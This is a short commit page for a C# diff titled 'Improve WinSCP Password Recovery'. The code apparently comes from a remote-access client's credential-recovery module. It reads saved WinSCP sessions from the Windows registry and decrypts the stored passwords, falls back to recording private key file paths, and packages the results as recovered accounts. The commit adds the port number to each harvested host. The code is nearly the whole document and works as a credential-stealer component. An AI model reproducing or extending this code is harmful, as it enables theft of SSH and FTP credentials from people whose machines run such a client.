Improve WinSCP Password Recovery

Add get port number (if needed, default SSH port is 22)
This commit is contained in:
SandPox 2015-08-18 08:32:45 -06:00
parent 7d36fb46eb
commit 7513d1d563
1 changed files with 4 additions and 0 deletions

View File

@ -26,6 +26,10 @@ namespace xClient.Core.Recovery.FtpClients
string Password = WinSCPDecrypt(User, Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "Password", "").ToString(), Host);
if ((Password == string.Empty) && ((Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null) != null)))
Password = "[PRIVATE KEY AT " + Uri.UnescapeDataString(Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null).ToString()) + "]";
if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null) != null)
{
Host = Host + ":" + Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null);
}
data.Add(new RecoveredAccount
{
URL = Host,